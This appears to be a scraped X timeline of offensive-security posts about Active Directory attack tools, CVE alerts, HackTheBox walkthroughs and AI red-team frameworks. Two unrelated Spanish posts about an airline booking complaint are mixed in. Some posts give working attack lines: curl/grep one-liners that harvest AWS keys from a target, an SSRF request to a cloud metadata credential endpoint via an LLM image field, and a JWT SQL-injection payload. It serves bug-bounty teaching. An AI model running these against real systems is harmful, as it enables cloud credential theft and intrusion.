SmartIdeas01

[SmartIdeas01 @SmartIdeas01]

Esto me envían los de @LATAM_ARG , ustedes de @DespegarAr , aparte que es la tercera vez que me cancelan la reserva y me la Posponen , ahora no dan solución . POR FAVOR , si vivo en Buenos Aires , como esperan que vaya de Lima-Quito y luego de Buenos Aires -Lima ?? Ayuda

[Hacking Articles @hackinarticles]

BloodHound MCP: Automating Active Directory Analysis with AI

🔥 Telegram: https://t.co/upuP8k8ckB
✴ Twitter: https://t.co/Za7rYILz6E

Analyzing complex Active Directory environments can be time-consuming. BloodHound MCP combines AI with BloodHound data to accelerate attack path discovery and AD security assessments ⚠️

📚 What You'll Learn in This Guide

🩸 Introduction to BloodHound MCP
🤖 AI-Powered Active Directory Analysis
⚙️ Setting Up BloodHound MCP
📊 Importing & Processing BloodHound Data
🔍 Identifying Attack Paths with AI
🎯 Privilege Escalation Path Discovery
👥 Analyzing Users, Groups & Permissions
🌐 Mapping Trust Relationships
🚀 Automating AD Security Assessments
📋 Natural Language Queries for BloodHound
🧠 Red Teaming & Defensive Use Cases
🛡️ Hardening Active Directory Environments

💡 BloodHound MCP enhances traditional BloodHound analysis by leveraging AI to interpret graph data, identify privilege escalation paths, answer natural language questions, and streamline Active Directory security assessments for both red and blue teams.

📖 Article:
https://t.co/5aSsxTx62l

#BloodHound #MCP #ActiveDirectory #AI #RedTeam #Pentesting #CyberSecurity #EthicalHacking #ADSecurity #InfoSec

[Co11ateral @co11ateral]

Active Directory Pentest with ADScan and ADPulse

Active Directory pentesting often starts with the same repetitive checks, but ADScan and ADPulse can help you automate them

Unlike many other projects, ADScan doesn't need AI or any APIs. It can assess Active Directory environments, find privilege escalation paths, and compromise the entire domain

https://t.co/r6qq1YS3En

@three_cube @_aircorridor

[Brute @BRuteLogic]

AWS Keys Finders

Live Domain
curl -s TARGET | grep -oP 'https?://[^"]+.js' | xargs -I{} curl -s {} | grep -oP 'A[KS]IA[0-9A-Z]{16}'

Public Repo
git clone --depth=1 TARGET/repo.git /tmp/r && grep -rP 'A[KS]IA[0-9A-Z]{16}' /tmp/r

Long-term and temporary keys. Critical findings.

[Brute @BRuteLogic]

SSRF in LLM Image Function (LMDeploy)

curl TARGET/v1/chat/completions -H "Content-Type: application/json" -d '{"model":"MODEL","messages":[{"role":"user","content":[{"type":"image_url","image_url":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}]}]}'

[Hacking Articles @hackinarticles]

BloodHound MCP: Automating Active Directory Analysis with AI

🔥 Telegram: https://t.co/upuP8k8ckB
✴ Twitter: https://t.co/Za7rYILz6E

Analyzing complex Active Directory environments can be time-consuming. BloodHound MCP combines AI with BloodHound data to accelerate attack path discovery and AD security assessments ⚠️

📚 What You'll Learn in This Guide

🩸 Introduction to BloodHound MCP
🤖 AI-Powered Active Directory Analysis
⚙️ Setting Up BloodHound MCP
📊 Importing & Processing BloodHound Data
🔍 Identifying Attack Paths with AI
🎯 Privilege Escalation Path Discovery
👥 Analyzing Users, Groups & Permissions
🌐 Mapping Trust Relationships
🚀 Automating AD Security Assessments
📋 Natural Language Queries for BloodHound
🧠 Red Teaming & Defensive Use Cases
🛡️ Hardening Active Directory Environments

💡 BloodHound MCP enhances traditional BloodHound analysis by leveraging AI to interpret graph data, identify privilege escalation paths, answer natural language questions, and streamline Active Directory security assessments for both red and blue teams.

📖 Article:
https://t.co/5aSsxTx62l

#BloodHound #MCP #ActiveDirectory #AI #RedTeam #Pentesting #CyberSecurity #EthicalHacking #ADSecurity #InfoSec

[mRr3b00t @UK_Daniel_Card]

CVE-2026-45659 - Edward Snowden's (The SharePoint admin) fave platform has a CVE...

it's in CISA KEV!

https://t.co/dByWYfNhD5

[jp / kw0 @JoshuaProvoste]

🚨 Django RCE - Remote Code Execution

https://t.co/8Bi4AcXoVU #BugBounty

[Rishi @rxerium]

🚨 CVE-2026-53435, a high severity (CVSS 8.8) deserialization vulnerability in Jenkins is now seeing active exploitation as per @DefusedCyber.

Scan your infrastructure: https://t.co/Bow5Vo1QGD

Patches are available per the vendor advisory: https://t.co/JgVytDoXfJ

[Densel @luckyhacker43]

"How to Find Auth Bypasses in Under 30 Minutes" 🔥

Just an amazing write-up by Abhishek Meena (Aacle)

🔗 https://t.co/FeMz53HSN0

[Yasho @YShahinzadeh]

My First RCE by Reverse Engineering an EXE File With the Help of AI

A secure web app → a JS file leaking a download endpoint → a .NET binary → AI-assisted reverse engineering → a localhost WebSocket with no origin check → RCE

Write-up: https://t.co/CN6VM92hqA

[Brute @BRuteLogic]

JWT SQL Injection

jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.

"jti": "' OR '1'='1"

Try it: https://t.co/A01VkoVnjK

Full technique: https://t.co/r4ePoKUoFo

#hack2earn #bugbounty #jwt

[SmartIdeas01 @SmartIdeas01]

@Tito140682 @TheVerdugoEc En realidad no de la Conpu si en un minuto ipadss es complicado

[Vivek | Cybersecurity @VivekIntel]

CVE MCP Server — Turn Claude Into a Full Security Analyst 💀🔥

27 security tools • 21 threat intelligence sources • One MCP protocol 🔥

Analyze CVEs, check KEV status, calculate exploit risk, investigate malicious IPs, scan dependencies, search PoCs, map MITRE ATT&CK techniques, query VirusTotal, Shodan, GreyNoise & more — directly inside Claude.

⚡ Automated vulnerability triage
⚡ Composite risk scoring
⚡ Threat intelligence correlation
⚡ AI-powered security workflows
⚡ MCP-ready security automation

Perfect for SOC analysts, threat hunters, vulnerability management teams & security researchers.

🔗 https://t.co/1upveIkkJV

#CyberSecurity #ThreatIntel #CVE #ThreatHunting #SOC #BlueTeam #MCP #ClaudeAI

[Vivek | Cybersecurity @VivekIntel]

⚔️ Claude-Red = Offensive Security Skills for Claude AI

A massive open-source framework that transforms Claude into a context-aware red team assistant. 🔥

📚 100+ offensive security skill modules
🌐 Web exploitation
🧠 Active Directory attacks
☁️ Cloud attack paths
📡 Wireless exploitation
💥 Exploit dev & fuzzing
🤖 AI security testing

Built for:
🎯 Bug bounty hunters
🛡️ Red teamers
🔬 Security researchers
🎓 CTF players
☁️ Cloud pentesters

Capabilities include:
✅ SQLi / XSS / SSRF / RCE
✅ ADCS / Kerberos / ACL abuse
✅ EDR bypass & shellcode ops
✅ WPA2/WPA3 attacks
✅ OAuth & JWT exploitation
✅ Prompt injection & jailbreak testing

🔗 https://t.co/QraHdkdU0A

#RedTeaming #Hacking #CyberThreat #ThreatIntel #Pentest #OpenSource

[Andre Gironda @AndreGironda]

Windows DNS Client RCE -- CVE-2026-41096 POC -- qdcount=0, a DNS OPT resource record (type 41), and 0xff bytes via example response -- https://t.co/wzSIXuCLPo

[Vivek | Cybersecurity @VivekIntel]

AdStrike — AI Powered Active Directory Attack Framework 💀🔥

A modular red-team framework built for advanced AD operations, Kerberos workflows, ADCS abuse, credential access, lateral movement & attack-path analysis. ⚡

🔥 58 interactive modules
🛡️ Kerberos-aware workflows
🤖 AI-assisted operator agent
📊 HTML / JSON / Markdown reporting
⚔️ BloodHound, Impacket, Certipy, NetExec integration

Built for professional red team operations & authorized security testing.

📌 Credit: @tmrswrr
🔗 https://t.co/eRNFDgJBQd

#ActiveDirectory #RedTeam #CyberSecurity #Pentesting #ADSecurity #OffensiveSecurity

[Co11ateral @co11ateral]

Abusing Printers to Compromise Active Directory

In many organizations, sysadmins are only focused on servers and workstations. But printers sit on the same network. They are rarely monitored with the same level of attention as more "important" systems.

Many of those printers store AD user credentials which can be extracted in plaintext to attack the DC. Even if the AD is well secured, these creds can be used to poison shares with LNK files. Even print jobs themselves can become a target especially when they contain confidential information.

Unfortunaly, many of the IoT devices in the corporate environments are outdated and aren't taken seriously. We also mentioned how you can fix that.

https://t.co/eHtWmFjeXz

@three_cube @_aircorridor
#iot #pentesting

[Hacking Articles @hackinarticles]

🔴 Late HackTheBox Walkthrough: SSTI to Root Compromise

🔥 Telegram: https://t.co/upuP8k8ckB
✴ Twitter: https://t.co/Za7rYILz6E

A realistic Linux machine showing how insecure file processing and template injection can lead to full server compromise ⚠️

⚡ Attack Highlights
🔍 Nmap Enumeration & Service Discovery
📂 File Upload Functionality Analysis
🧠 OCR Processing Abuse
💥 Server-Side Template Injection (SSTI)
💻 Remote Code Execution via Jinja2
🔑 Shell Access on the target system
🛠️ Enumeration of internal services & privileges
🚀 Privilege Escalation to Root

💡 Late is an excellent HTB machine for understanding SSTI exploitation, insecure Python/Jinja2 applications, and Linux privilege escalation techniques in modern web apps

⚠️ Unsafe template rendering + insecure backend processing = complete server compromise

📖 Article: https://t.co/yBzFlETV1o

#hackthebox #ssti #jinja2 #linux #websecurity #redteam #cybersecurity #pentesting #ethicalhacking #infosec

[Hacking Articles @hackinarticles]

Impacket DACLedit: Active Directory Privilege Escalation 🔥

🔥 Telegram: https://t.co/upuP8k8ckB
✴ Twitter: https://t.co/Za7rYILz6E

Impacket-dacledit is a powerful tool used to modify Active Directory DACLs, allowing attackers to abuse permissions like WriteDACL, WriteOwner, and FullControl to escalate privileges and take over domain objects.

📚 Techniques Covered in This Guide

⚙️ Lab Setup
🧠 Understanding AD ACL & DACL
🔎 Enumerating Object Permissions
⚡ WriteDACL Abuse using dacledit
🔑 Granting FullControl over Users/Groups
👥 Adding User to Domain Admins
💻 WriteOwner Abuse & Ownership Takeover
🔄 Reset Password without Knowing Current
📡 Privilege Escalation using DACL Misconfigurations
🛠 Post-Exploitation with Impacket Tools

👉 Abuse of DACL permissions can lead to full domain compromise if misconfigured and not monitored properly.

📖 Article:
https://t.co/tnfgHLLGoq

#CyberSecurity #EthicalHacking #Pentesting #RedTeam #ActiveDirectory #Impacket #InfoSec

[VIEH Group @viehgroup]

CSV Injection -> Remote Command Execution

POC ->

1. Injected formula into user input field
2. Data was exported as CSV report
3. Victim opened file in Excel
4. Malicious formula executed automatically

Learning ->

1. Sanitize CSV exports properly
2. Block formula characters like =, +, -, @

#infosec #hacking #bugbounty #bugbountytips